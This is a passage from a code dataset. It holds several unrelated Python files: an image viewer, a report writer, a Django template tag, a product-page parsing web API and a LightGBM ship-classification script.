user_ip = int(val)\n        idx = field_list[user_ip-1]\n        print('\\n', idx, ':')\n        if(bool(result[idx])):\n            val_list = result[idx].split(',')\n            for i in val_list:\n                print(i)\n                file_name.write('<%s> <%s> <%s> <%s>\\n' %(task1.indx, task1.movie_name, idx, i))\n        else:\n            print('Data Unavailable for this field')\n            file_name.write('<%s> <%s> <%s> <%s>\\n' %(task1.indx, task1.movie_name, idx, 'Data Unavailable'))\n\n    elif val == '7':\n        user_ip = int(val)\n        idx = field_list[user_ip-1]\n        print('\\n', idx, ':')\n        if(bool(result[idx])):\n            print(result[idx])\n            file_name.write('<%s> <%s> <%s> <%s>\\n' %(task1.indx, task1.movie_name, idx, result[idx]))\n        else:\n            print('Data Unavailable for this field')\n            file_name.write('<%s> <%s> <%s> <%s>\\n' %(task1.indx, task1.movie_name, idx, 'Data Unavailable'))\n\n    elif val == '2' or val == '6':\n        user_ip = int(val)\n        idx = field_list[user_ip-1]\n        print('\\n', idx, ':')\n        if(bool(result[idx])):\n            for i in result[idx]:\n                print(i)\n                file_name.write('<%s> <%s> <%s> <%s>\\n' %(task1.indx, task1.movie_name, idx, i))\n        else:\n            print('Data Unavailable for this field')\n            file_name.write('<%s> <%s> <%s> <%s>\\n' %(task1.indx, task1.movie_name, idx, 'Data Unavailable'))\n\n    elif val == 'E':\n        print(\"Closing......\")\n        break\n\n    else:\n        print('Incorrect format... choose a valid number')\n\n# closing all the files\nfile_name.close\nf.close", "repo_name": "06ps/Compuing-Lab-II-CS69012", "sub_path": "Assignment 8/Code/task2.py", "file_name": "task2.py", "file_ext": "py", "file_size_in_byte": 7648, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ply.lex.lex", "line_number": 243, "usage_type": "call"}, {"api_name": "ply.lex", "line_number": 243, "usage_type": "name"}, {"api_name": "ply.yacc.yacc", "line_number": 244, "usage_type": "call"}, {"api_name": "ply.yacc", "line_number": 244, "usage_type": "name"}, {"api_name": "task1.filename", "line_number": 247, "usage_type": "attribute"}, {"api_name": "ply.lex.input", "line_number": 250, "usage_type": "call"}, {"api_name": "ply.lex", "line_number": 250, "usage_type": "name"}, {"api_name": "task1.indx", "line_number": 286, "usage_type": "attribute"}, {"api_name": "task1.movie_name", "line_number": 286, "usage_type": "attribute"}, {"api_name": "task1.indx", "line_number": 289, "usage_type": "attribute"}, {"api_name": "task1.movie_name", "line_number": 289, "usage_type": "attribute"}, {"api_name": "task1.indx", "line_number": 297, "usage_type": "attribute"}, {"api_name": "task1.movie_name", "line_number": 297, "usage_type": "attribute"}, {"api_name": "task1.indx", "line_number": 300, "usage_type": "attribute"}, {"api_name": "task1.movie_name", "line_number": 300, "usage_type": "attribute"}, {"api_name": "task1.indx", "line_number": 309, "usage_type": "attribute"}, {"api_name": "task1.movie_name", "line_number": 309, "usage_type": "attribute"}, {"api_name": "task1.indx", "line_number": 312, "usage_type": "attribute"}, {"api_name": "task1.movie_name", "line_number": 312, "usage_type": "attribute"}]}
{"seq_id": "31266466669", "text": "import cv2\r\nimport os\r\n\r\n# setting the path to the folder having eyes pics\r\nfolder_path = 'C:\\\\Users\\\\harsh\\\\Downloads\\\\Eyes'\r\n\r\n# looping over all the images in the folder\r\nfor file_name in os.listdir(folder_path):\r\n    # for all the jpg images (the folder has only jpg images still to filter any other format)\r\n    if file_name.endswith('.jpg'):\r\n        # loading and displaying the image\r\n        img = cv2.imread(os.path.join(folder_path, file_name))\r\n        cv2.imshow('Image', img)\r\n        cv2.waitKey(0)\r\n\r\n# destroy all windows after displaying the images\r\ncv2.destroyAllWindows()\r\n", "repo_name": "MoonBoy17/Eyes", "sub_path": "Eyes.py", "file_name": "Eyes.py", "file_ext": "py", "file_size_in_byte": 593, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.listdir", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "22252672191", "text": "import matplotlib\nimport os\n\nclass Report:\n    def __init__(self, title, report_path, figures_folder='./figures'):\n        # Open output file\n        self.mdfile = open(report_path, 'w+')\n\n        # Setup folder for figures\n        self.figures_relpath = figures_folder\n        self.figures_abspath = os.path.join(os.path.abspath(os.path.dirname(report_path)), self.figures_relpath)\n        if not os.path.exists(self.figures_abspath):\n            os.makedirs(self.figures_abspath)\n\n        # Print title\n        self.print_line('# %s' % title)\n\n        # Use type 1 fonts in PDFs\n        matplotlib.rcParams['ps.useafm'] = True\n        matplotlib.rcParams['pdf.use14corefonts'] = True\n        matplotlib.rcParams['text.usetex'] = True\n\n\n    def print_line(self, text):\n        self.mdfile.write(text+'\\n\\n')\n\n\n    def print_figure(self, fig, name, description):\n        # For paper\n        fig.savefig('%s/%s.pdf' % (self.figures_abspath, name), bbox_inches='tight')\n\n        self.print_line('#### Figure: %s \\n\\n' % description)\n        # For MD Report\n        fig.savefig('%s/%s.png' % (self.figures_abspath, name), bbox_inches='tight')\n        self.print_line('![%s](%s/%s.png)\\n\\n' %(description, self.figures_relpath, name))\n        return\n\n    def print_table_from_series(self, series):\n        return self.print_table_from_df(series.reset_index())\n\n    def print_table_from_df(self, df):\n        import pandas as pd\n        fmt = ['---' for i in range(len(df.columns))]\n        df_fmt = pd.DataFrame([fmt], columns=df.columns)\n        df_formatted = pd.concat([df_fmt, df])\n        self.print_line(df_formatted.to_csv(sep=\"|\", index=False))\n", "repo_name": "sergiocabrero/asturies-wildfires", "sub_path": "code/plot_data/report.py", "file_name": "report.py", "file_ext": "py", "file_size_in_byte": 1649, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.rcParams", "line_number": 19, "usage_type": "attribute"}, {"api_name": "matplotlib.rcParams", "line_number": 20, "usage_type": "attribute"}, {"api_name": "matplotlib.rcParams", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "2039409540", "text": "from django import template\nfrom webapp.settings import TRANSLATION_FIELDS\n\nregister = template.Library()\n\n\nclass LocalizedContent(template.Node):\n    def __init__(self, model, language_code):\n        self.model = model\n        self.lang = language_code\n\n    def render(self, context):\n        model = template.resolve_variable(self.model, context)\n        lang = template.resolve_variable(self.lang, context)\n        for f in TRANSLATION_FIELDS:\n            try:\n                setattr(model, f, getattr(model, '%s_%s' % (f, lang)))\n            except AttributeError:\n                pass\n        return ''\n\n\n@register.tag(name='get_localized_content')\ndef get_localized_content(parser, token):\n    bits = list(token.split_contents())\n    if len(bits) != 3:\n        raise template.TemplateSyntaxError(\"'get_localized_content' tag takes exactly 2 arguments\")\n    return LocalizedContent(model=bits[1], language_code=bits[2])", "repo_name": "JYH1314520/code", "sub_path": "fnd/templatetags/lazy_tags.py", "file_name": "lazy_tags.py", "file_ext": "py", "file_size_in_byte": 925, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.template.Library", "line_number": 4, "usage_type": "call"}, {"api_name": "django.template", "line_number": 4, "usage_type": "name"}, {"api_name": "django.template.Node", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.template", "line_number": 7, "usage_type": "name"}, {"api_name": "django.template.resolve_variable", "line_number": 13, "usage_type": "call"}, {"api_name": "django.template", "line_number": 13, "usage_type": "name"}, {"api_name": "django.template.resolve_variable", "line_number": 14, "usage_type": "call"}, {"api_name": "django.template", "line_number": 14, "usage_type": "name"}, {"api_name": "webapp.settings.TRANSLATION_FIELDS", "line_number": 15, "usage_type": "name"}, {"api_name": "django.template.TemplateSyntaxError", "line_number": 27, "usage_type": "call"}, {"api_name": "django.template", "line_number": 27, "usage_type": "name"}]}
{"seq_id": "45171445064", "text": "from klein import run, route, Klein\napp = Klein()\nimport json\nimport treq\n\nimport extruct\n\nfrom bs4 import BeautifulSoup\nfrom twisted.web.client import getPage\nfrom twisted.internet import reactor, defer\n\n\n\ndef merge_dicts(current_product_info, new_dict):\n    returned_info = dict(current_product_info)\n    for x in new_dict:\n        if  x not in current_product_info:\n            returned_info[x] = new_dict[x]\n        else:\n            if new_dict[x] is not None:\n                returned_info[x] = new_dict[x]\n    return returned_info\n\n\ndef parse_product_schema(product_details):\n    product = {}\n    product['name'] = product_details.get('name',None)\n    product['image'] = product_details.get('image',None)\n    if product['image'] is not None and isinstance(product['image'],str):\n        product['image'] = [product['image']]\n    product['brand'] = product_details.get('brand',None)\n    product['description'] = product_details.get('description',None)\n    product['condition'] = product_details.get('itemCondition',None)\n    product['manufacturer'] = product_details.get('manufacturer',None)\n    product['color'] = product_details.get('color',None)\n    return product\n\ndef parse_offers_schema(offers):\n    product = {}\n    product['price'] = offers.get('price',None) if not isinstance(offers.get('price',None),list) else offers['price'][0]\n    product['availability'] = offers.get('availability',None)\n    if product['availability'] is not None and 'schema.org' in product['availability']:\n        product['availability'] = product['availability'].split('/')[3]\n    product['currency'] = offers.get('priceCurrency',None)\n    product['currency'] = offers.get('currency',product.get('currency',None))\n    product['condition'] = offers.get('itemCondition',product.get('condition',None))\n    product['condition'] = offers.get('condition',product.get('condition',None))\n    return product\n\ndef fix_if_more_contexts(structure):\n    if isinstance(structure,str) or isinstance(structure,int):\n        return structure\n    \n    if isinstance(structure,dict):\n        d = {}\n        for key in structure:\n            result = fix_if_more_contexts(structure[key])\n            if ':' in key:\n                new_key = key.split(':')[-1]\n                d[new_key] = result\n            else:\n                d[key] = result\n        return d\n    else:\n        d = []\n        for key in structure:\n            d.append(fix_if_more_contexts(key))\n        return d\n\ndef check_if_type(structure, value):\n    if isinstance(structure, list):\n        for x in structure:\n            if x.endswith(value):\n                return True\n    elif isinstance(structure, str):\n        return structure.endswith(value)\n    \n    \ndef get_breadcrumb(breadcrumb_list):\n    product = {}\n    product['category'] = ' // '.join([x.get('name',\n                                             x.get('title',\n                                                 x.get('value',\n                                                       x['item']['name'] if isinstance(x.get('item',None),dict)\n                                                       else ''\n                                                             ))) for x in breadcrumb_list])\n    return product\n\n\n\n\ndef get_info_from_meta(text,url):\n    product  = {}\n    all_meta = extruct.extract(text,url, uniform=True)\n    #print (all_meta['microdata'])\n    opengraph = all_meta['opengraph']\n    product['offers'] = []\n    try:\n        if len(opengraph) >=1:\n            opengraph = opengraph[0]\n            product['description'] = opengraph.get('og:description',None)\n            product['image'] = opengraph.get('og:image',None)\n            product['brand'] = opengraph.get('product:brand',None)\n            product['name'] = opengraph.get('og:title',None)\n            offer = {'price':opengraph.get('product:price:amount',\n                            opengraph.get('og:price:amount',None)), \n                     'currency': opengraph.get('product:price:currency',\n                            opengraph.get('og:price:currency',None))}\n            if offer['price'] is not None:\n                product['offers'].append(offer)\n\n    except Exception as e:\n        print(e)            \n    microdata = all_meta['microdata']\n    try:\n        product_details = [x for x in microdata if check_if_type(x.get('@type',''),'Product')]\n        if len(product_details) == 1:\n            product_details = product_details[0]\n            product['multiple_products'] = False\n            product = merge_dicts(product,parse_product_schema(product_details))\n            #product.update(parse_product_schema(product_details))\n\n            if 'offers' in  product_details:\n                offers = product_details['offers']\n                if isinstance(offers,list):\n                    for x in offers:\n                        product['offers'].append(parse_offers_schema(x))\n                else:\n                    product['offers'].append(parse_offers_schema(offers))\n        elif len(product_details)>1:\n            product['multiple_products'] = True\n            \n    except Exception as e:\n        print(e)\n    \n    jsonld = all_meta['json-ld']\n    try:\n        graphdetails = [x for x in jsonld if '@graph' in x]\n        if len(graphdetails)>0:\n            jsonld = graphdetails[0]['@graph']\n        \n        \n        itemOffered = [x for x in jsonld if check_if_type(x.get('@type',''),'s:Offer')]\n        \n        if len(itemOffered)>0:\n            jsonld = fix_if_more_contexts(jsonld)\n            itemOffered = [x for x in jsonld if check_if_type(x.get('@type',''),'Offer')]\n            product_details = itemOffered[0]\n            if 'offers' in  product_details:\n                offers = product_details['offers']\n                if isinstance(offers,list):\n                    for x in offers:\n                        product['offers'].append(parse_offers_schema(x))\n                else:\n                    product['offers'].append(parse_offers_schema(offers))\n\n        product_details = [x for x in jsonld if check_if_type(x.get('@type',''),'Product') ]\n        if len(product_details) == 1:\n            product_details = product_details[0]\n            #product.update(parse_product_schema(product_details))\n            product['multiple_products'] = False\n\n            product = merge_dicts(product,parse_product_schema(product_details))\n\n            if 'offers' in  product_details:\n                offers = product_details['offers']\n                if isinstance(offers,list):\n                    for x in offers:\n                        product['offers'].append(parse_offers_schema(x))\n                else:\n                    product['offers'].append(parse_offers_schema(offers))\n        elif len(product_details)>1:\n            product['multiple_products'] = True\n    \n    except Exception as e:\n        print(e)\n    \n    try:\n        if len(product) > 0:\n            for p in [jsonld,microdata]:\n                breadcrumb_details = [x for x in p if x.get('@type','').endswith('BreadcrumbList')]\n                breadcrumb_list = [x for x in p if x.get('@type','').endswith('Breadcrumb')]\n                if len(breadcrumb_details)>0:\n                    breadcrumb_list = breadcrumb_details[0]['itemListElement']\n                if len(breadcrumb_list)>0:\n                    #product.update(get_breadcrumb(breadcrumb_list))\n                    product = merge_dicts(product,get_breadcrumb(breadcrumb_list))\n    except Exception as e:\n        print(e)\n\n    product['offers'] = [x for x in product['offers'] if x['price'] is not None]\n    if len(product['offers']) == 0:\n        del product['offers']\n    return product\n\n\n\n\n\n# not_price_words = ['od','zyskaj','powyżej','odbierz','from','get']\n\n# def get_price(text):\n#     import re\n#     q = [x for x in re.findall(r'([A-z]*?)\\s*([\\d,\\.]{2,})\\s*(pln|zl|zł|€|eur|euro|gbp|£)', text)]\n#     prices = []\n#     for x in q:\n#         try:\n#             price = float(x[1].strip().replace(',','.'))\n#         except:\n#             continue\n#         t = x[0].strip()\n#         currency = x[2]\n#         if len([p for p in not_price_words if t.endswith(p)])>0:\n#             continue\n\n#         if price == 0:\n#             continue\n#         index = text.find(x[1])\n#         prices.append((price,currency,index))\n    \n#     if len(prices)>=2 and (prices[1][2]-prices[0][2])<30:\n#         return {'price':min(prices[0][0],prices[1][0]), 'currency':prices[0][1]}\n#     elif len(prices) > 0:\n#         return {'price':prices[0][0], 'currency':prices[0][1]}\n#     else:\n#         return None\n\n# def clean_html(html):\n#     soup = BeautifulSoup(html,'lxml')\n#     for s in soup(['script', 'style']):\n#         s.decompose()\n#     return (' '.join(soup.stripped_strings)).lower()\n\n\nnot_price_words = ['od','zyskaj','powyżej','odbierz','from','get']\n\ndef get_price(text):\n    import re\n    r = re.compile(r'(?P<text>.*?)((?P<price1>\\d+[\\.,]*\\d*\\s*(pln|zl|zł|€|eur|euro|gbp|£|\\$))|(?P<price2>[£€$]\\s*\\d+[\\.,]*\\d*))')\n    p = [m.groupdict() for m in r.finditer(text)]\n    prices = []\n    for x in p:\n        bb = x['price2'] if x['price1'] is None else x['price1']\n        try:\n            pot_price = re.search(r'\\d+[\\.,]*\\d*',bb).group(0)\n            price = float(pot_price.strip().replace(',','.'))\n        except:\n            continue\n\n        t = x['text'].strip()\n        \n        if len([p for p in not_price_words if t.endswith(p)])>0:\n            continue\n        currency = bb.replace(pot_price,'').strip()\n        if price < 0.00001:\n            continue\n        index = text.find(bb)\n        prices.append((price,currency,index))\n    \n    if len(prices)>=2 and (prices[1][2]-prices[0][2])<30:\n        return {'price':min(prices[0][0],prices[1][0]), 'currency':prices[0][1]}\n    elif len(prices) > 0:\n        return {'price':prices[0][0], 'currency':prices[0][1]}\n    else:\n        return None\n\ndef clean_html(html):\n    soup = BeautifulSoup(html,'lxml')\n    for s in soup(['script', 'style']):\n        s.decompose()\n    return (' '.join(soup.stripped_strings)).lower()\n\n\ndef get_products_details(text,url):\n    try:\n        product = get_info_from_meta(text,url)\n        if 'offers' not in product:\n            price = get_price(clean_html(text))\n            if price is not None:\n                product['offers'] = [price]\n\n        return product\n    except Exception as e:\n        print(e)\n\n    return {}\n\n\n@defer.inlineCallbacks\ndef return_info(response):\n    text = yield response.content()\n    url = response.request.absoluteURI.decode(\"utf-8\")\n    v = get_products_details(text, url)#response.request.absoluteURI)\n    return json.dumps(v)\n\n\n@app.route(\"/parse\", methods=['POST'])\ndef get_category(request):\n    content = json.loads(request.content.read())\n    url = content['url']\n    d = treq.get(url)\n    d.addCallback(return_info)\n    return d\n\n\nresource = app.resource\n\napp.run(\"0.0.0.0\", 5005)\n", "repo_name": "digestoo/product-page-parser", "sub_path": "api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 10898, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "klein.Klein", "line_number": 2, "usage_type": "call"}, {"api_name": "extruct.extract", "line_number": 94, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 239, "usage_type": "call"}, {"api_name": "re.search", "line_number": 245, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 268, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 294, "usage_type": "call"}, {"api_name": "twisted.internet.defer.inlineCallbacks", "line_number": 289, "usage_type": "attribute"}, {"api_name": "twisted.internet.defer", "line_number": 289, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 299, "usage_type": "call"}, {"api_name": "treq.get", "line_number": 301, "usage_type": "call"}]}
{"seq_id": "15555247093", "text": "import pandas as pd\r\nimport numpy as np\r\nimport os\r\nfrom tqdm import tqdm\r\nimport lightgbm as lgb\r\nfrom sklearn.model_selection import StratifiedKFold\r\nfrom sklearn import metrics\r\nimport warnings\r\nimport matplotlib.pyplot as plt\r\n\r\npd.set_option('display.max_columns', 100)\r\nwarnings.filterwarnings('ignore')\r\n\r\n\r\ndef group_feature(df, key, target, aggs):\r\n    agg_dict = {}\r\n    for ag in aggs:\r\n        agg_dict[f'{target}_{ag}'] = ag\r\n    print(agg_dict)\r\n    t = df.groupby(key)[target].agg(agg_dict).reset_index()\r\n    return t\r\n\r\n\r\ndef extract_feature(df, train):\r\n    t = group_feature(df, 'ship', 'x', ['max', 'min', 'mean', 'std', 'skew', 'sum'])\r\n    train = pd.merge(train, t, on='ship', how='left')\r\n    t = group_feature(df, 'ship', 'x', ['count'])\r\n    train = pd.merge(train, t, on='ship', how='left')\r\n\r\n    t = group_feature(df, 'ship', 'y', ['max', 'min', 'mean', 'std', 'skew', 'sum'])\r\n    train = pd.merge(train, t, on='ship', how='left')\r\n\r\n    t = group_feature(df, 'ship', 'v', ['max', 'min', 'mean', 'std', 'skew', 'sum'])\r\n    train = pd.merge(train, t, on='ship', how='left')\r\n\r\n    t = group_feature(df, 'ship', 'd', ['max', 'min', 'mean', 'std', 'skew', 'sum'])\r\n    train = pd.merge(train, t, on='ship', how='left')\r\n\r\n    train['x_max_x_min'] = train['x_max'] - train['x_min']\r\n    train['y_max_y_min'] = train['y_max'] - train['y_min']\r\n    train['y_max_x_min'] = train['y_max'] - train['x_min']\r\n    train['x_max_y_min'] = train['x_max'] - train['y_min']\r\n    train['slope'] = train['y_max_y_min'] / np.where(train['x_max_x_min'] == 0, 0.001, train['x_max_x_min'])\r\n    train['area'] = train['x_max_x_min'] * train['y_max_y_min']\r\n\r\n    mode_hour = df.groupby('ship')['hour'].agg(lambda x: x.value_counts().index[0]).to_dict()\r\n    train['mode_hour'] = train['ship'].map(mode_hour)\r\n\r\n    t = group_feature(df, 'ship', 'hour', ['max', 'min'])\r\n    train = pd.merge(train, t, on='ship', how='left')\r\n\r\n    hour_nunique = df.groupby('ship')['hour'].nunique().to_dict()\r\n    date_nunique = df.groupby('ship')['date'].nunique().to_dict()\r\n    train['hour_nunique'] = train['ship'].map(hour_nunique)\r\n    train['date_nunique'] = train['ship'].map(date_nunique)\r\n\r\n    t = df.groupby('ship')['time'].agg({'diff_time': lambda x: np.max(x) - np.min(x)}).reset_index()\r\n    t['diff_day'] = t['diff_time'].dt.days\r\n    t['diff_second'] = t['diff_time'].dt.seconds\r\n    train = pd.merge(train, t, on='ship', how='left')\r\n    # print(train)\r\n    # input()\r\n    return train\r\n\r\n\r\ndef extract_dt(df):\r\n    df['time'] = pd.to_datetime(df['time'], format='%m%d %H:%M:%S')\r\n    # df['month'] = df['time'].dt.month\r\n    # df['day'] = df['time'].dt.day\r\n    df['date'] = df['time'].dt.date\r\n    df['hour'] = df['time'].dt.hour\r\n    # df = df.drop_duplicates(['ship','month'])\r\n    df['weekday'] = df['time'].dt.weekday\r\n    return df\r\n\r\n\r\npath = r'D:\\a_zhy\\MachineLearning\\game\\input'\r\ntrain = pd.read_csv(path + r'\\train.csv')\r\n# train = df.drop_duplicates(['ship','type'])\r\ntest = pd.read_csv(path + r'\\test.csv')\r\n\r\ntrain = extract_dt(train)\r\ntest = extract_dt(test)\r\n# print(train)\r\n# 去除特定列下面的重复行\r\ntrain_label = train.drop_duplicates('ship')\r\ntest_label = test.drop_duplicates('ship')\r\n\r\n# train_label['type'].value_counts(1)\r\n\r\ntype_map = dict(zip(train_label['type'].unique(), np.arange(3)))\r\ntype_map_rev = {v:k for k,v in type_map.items()}\r\ntrain_label['type'] = train_label['type'].map(type_map)\r\n# print(train_label)\r\n# input()\r\ntrain_label = extract_feature(train, train_label)\r\n\r\ntest_label = extract_feature(test, test_label)\r\n\r\nfeatures = [x for x in train_label.columns if x not in ['ship','type','time','diff_time','date']]\r\ntarget = 'type'\r\nprint(len(features), ','.join(features))\r\n\r\nX = train_label[features].copy()\r\n# X = (X-X.mean())/X.std()\r\n# X = (X-X.min())/(X.max()-X.min())\r\nX_test = test_label[features].copy()\r\n# X_test = (X_test-X_test.mean())/X_test.std()\r\n# X_test = (X_test-X_test.min())/(X_test.max()-X_test.min())\r\ny = train_label[target]\r\n# X: (7000, 45)\r\n# y: (7000,)\r\n\r\n\r\n# 自定义F1评价函数\r\ndef f1_score_vail(pred, data_vail):\r\n    labels = data_vail.get_label()\r\n    pred = np.argmax(pred.reshape(3, -1), axis=0)      # lgb的predict输出为各类型概率值\r\n    score_vail = metrics.f1_score(y_true=labels, y_pred=pred, average='macro')\r\n    return 'f1_score', score_vail, True\r\n\r\n\r\n'''模型优化———————————————————'''\r\nfrom sklearn.model_selection import train_test_split\r\nX_train_, X_val_, y_train_, y_val_ = train_test_split(X, y, random_state=0, test_size=0.2)\r\n\r\n### 数据转换\r\nprint('数据转换')\r\nlgb_train = lgb.Dataset(X_train_, y_train_, free_raw_data=False)\r\nlgb_eval = lgb.Dataset(X_val_, y_val_, reference=lgb_train, free_raw_data=False)\r\n\r\nprint('设置参数')\r\nparams = {\r\n    'metric': 'multi_logloss',\r\n    'nthread': 4,\r\n    'n_estimators': 5000,\r\n    'boosting_type': 'gbdt',\r\n    'objective': 'multiclass',\r\n    'num_class': 3,\r\n    'early_stopping_rounds': 100,\r\n}\r\n\r\n# 交叉验证(调参)\r\nprint('交叉验证')\r\nmax_auc = float('1')\r\nbest_params = {}\r\n\r\n\r\n# 准确率\r\n# print(\"调参1：提高准确率\")\r\n# for num_leaves in range(10, 11, 20):\r\n#     for max_depth in range(3, 4, 2):\r\n#         params['num_leaves'] = num_leaves\r\n#         params['max_depth'] = max_depth\r\n#\r\n#         cv_results = lgb.cv(\r\n#             params,\r\n#             lgb_train,\r\n#             seed=1,\r\n#             nfold=5,\r\n#             # metrics=['multi_logloss'],\r\n#             feval=f1_score_vail,\r\n#             early_stopping_rounds=10,\r\n#             verbose_eval=True\r\n#         )\r\n#         # print(cv_results)\r\n#         # input()\r\n#         mean_auc = pd.Series(cv_results['multi_logloss-mean']).min()\r\n#         boost_rounds = pd.Series(cv_results['multi_logloss-mean']).idxmin()\r\n#\r\n#         if mean_auc <= max_auc:\r\n#             max_auc = mean_auc\r\n#             best_params['num_leaves'] = num_leaves\r\n#             best_params['max_depth'] = max_depth\r\n# if 'num_leaves' and 'max_depth' in best_params.keys():\r\n#     params['num_leaves'] = best_params['num_leaves']\r\n#     params['max_depth'] = best_params['max_depth']\r\n\r\n# # 过拟合\r\n# print(\"调参2：降低过拟合\")\r\n# for max_bin in range(5, 256, 10):\r\n#     for min_data_in_leaf in range(1, 102, 10):\r\n#         params['max_bin'] = max_bin\r\n#         params['min_data_in_leaf'] = min_data_in_leaf\r\n#\r\n#         cv_results = lgb.cv(\r\n#             params,\r\n#             lgb_train,\r\n#             seed=1,\r\n#             nfold=5,\r\n#             metrics=['multi_logloss'],\r\n#             early_stopping_rounds=10,\r\n#             verbose_eval=True\r\n#         )\r\n#\r\n#         mean_auc = pd.Series(cv_results['multi_logloss-mean']).max()\r\n#         boost_rounds = pd.Series(cv_results['multi_logloss-mean']).idxmax()\r\n#\r\n#         if mean_auc >= max_auc:\r\n#             max_auc = mean_auc\r\n#             best_params['max_bin'] = max_bin\r\n#             best_params['min_data_in_leaf'] = min_data_in_leaf\r\n# if 'max_bin' and 'min_data_in_leaf' in best_params.keys():\r\n#     params['min_data_in_leaf'] = best_params['min_data_in_leaf']\r\n#     params['max_bin'] = best_params['max_bin']\r\n#\r\n# print(\"调参3：降低过拟合\")\r\n# for feature_fraction in [0.6, 0.7, 0.8, 0.9, 1.0]:\r\n#     for bagging_fraction in [0.6, 0.7, 0.8, 0.9, 1.0]:\r\n#         for bagging_freq in range(0, 50, 5):\r\n#             params['feature_fraction'] = feature_fraction\r\n#             params['bagging_fraction'] = bagging_fraction\r\n#             params['bagging_freq'] = bagging_freq\r\n#\r\n#             cv_results = lgb.cv(\r\n#                 params,\r\n#                 lgb_train,\r\n#                 seed=1,\r\n#                 nfold=5,\r\n#                 metrics=['multi_logloss'],\r\n#                 early_stopping_rounds=10,\r\n#                 verbose_eval=True\r\n#             )\r\n#\r\n#             mean_auc = pd.Series(cv_results['multi_logloss-mean']).max()\r\n#             boost_rounds = pd.Series(cv_results['multi_logloss-mean']).idxmax()\r\n#\r\n#             if mean_auc >= max_auc:\r\n#                 max_auc = mean_auc\r\n#                 best_params['feature_fraction'] = feature_fraction\r\n#                 best_params['bagging_fraction'] = bagging_fraction\r\n#                 best_params['bagging_freq'] = bagging_freq\r\n#\r\n# if 'feature_fraction' and 'bagging_fraction' and 'bagging_freq' in best_params.keys():\r\n#     params['feature_fraction'] = best_params['feature_fraction']\r\n#     params['bagging_fraction'] = best_params['bagging_fraction']\r\n#     params['bagging_freq'] = best_params['bagging_freq']\r\n#\r\n# print(\"调参4：降低过拟合\")\r\n# for lambda_l1 in [1e-5, 1e-3, 1e-1, 0.0, 0.1, 0.3, 0.5, 0.7, 0.9, 1.0]:\r\n#     for lambda_l2 in [1e-5, 1e-3, 1e-1, 0.0, 0.1, 0.4, 0.6, 0.7, 0.9, 1.0]:\r\n#         params['lambda_l1'] = lambda_l1\r\n#         params['lambda_l2'] = lambda_l2\r\n#         cv_results = lgb.cv(\r\n#             params,\r\n#             lgb_train,\r\n#             seed=1,\r\n#             nfold=5,\r\n#             metrics=['multi_logloss'],\r\n#             early_stopping_rounds=10,\r\n#             verbose_eval=True\r\n#         )\r\n#\r\n#         mean_auc = pd.Series(cv_results['multi_logloss-mean']).max()\r\n#         boost_rounds = pd.Series(cv_results['multi_logloss-mean']).idxmax()\r\n#\r\n#         if mean_auc >= max_auc:\r\n#             max_auc = mean_auc\r\n#             best_params['lambda_l1'] = lambda_l1\r\n#             best_params['lambda_l2'] = lambda_l2\r\n# if 'lambda_l1' and 'lambda_l2' in best_params.keys():\r\n#     params['lambda_l1'] = best_params['lambda_l1']\r\n#     params['lambda_l2'] = best_params['lambda_l2']\r\n#\r\n# print(\"调参5：降低过拟合2\")\r\n# for min_split_gain in [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]:\r\n#     params['min_split_gain'] = min_split_gain\r\n#\r\n#     cv_results = lgb.cv(\r\n#         params,\r\n#         lgb_train,\r\n#         seed=1,\r\n#         nfold=5,\r\n#         metrics=['multi_logloss'],\r\n#         early_stopping_rounds=10,\r\n#         verbose_eval=True\r\n#     )\r\n#\r\n#     mean_auc = pd.Series(cv_results['multi_logloss-mean']).max()\r\n#     boost_rounds = pd.Series(cv_results['multi_logloss-mean']).idxmax()\r\n#\r\n#     if mean_auc >= max_auc:\r\n#         max_auc = mean_auc\r\n#\r\n#         best_params['min_split_gain'] = min_split_gain\r\n# if 'min_split_gain' in best_params.keys():\r\n#     params['min_split_gain'] = best_params['min_split_gain']\r\n\r\n# print(best_params)\r\n# 参数\r\n# params = {\r\n#     'n_estimators': 5000,\r\n#     'boosting_type': 'gbdt',\r\n#     'objective': 'multiclass',\r\n#     'num_class': 3,\r\n#     'early_stopping_rounds': 100,\r\n# }\r\n\r\n'''模型训练———————————————————'''\r\nfold = StratifiedKFold(n_splits=5, shuffle=True, random_state=42)\r\n\r\nmodels = []\r\npred = np.zeros((len(test_label),3))\r\noof = np.zeros((len(X), 3))\r\nfor index, (train_idx, val_idx) in enumerate(fold.split(X, y)):\r\n\r\n    train_set = lgb.Dataset(X.iloc[train_idx], 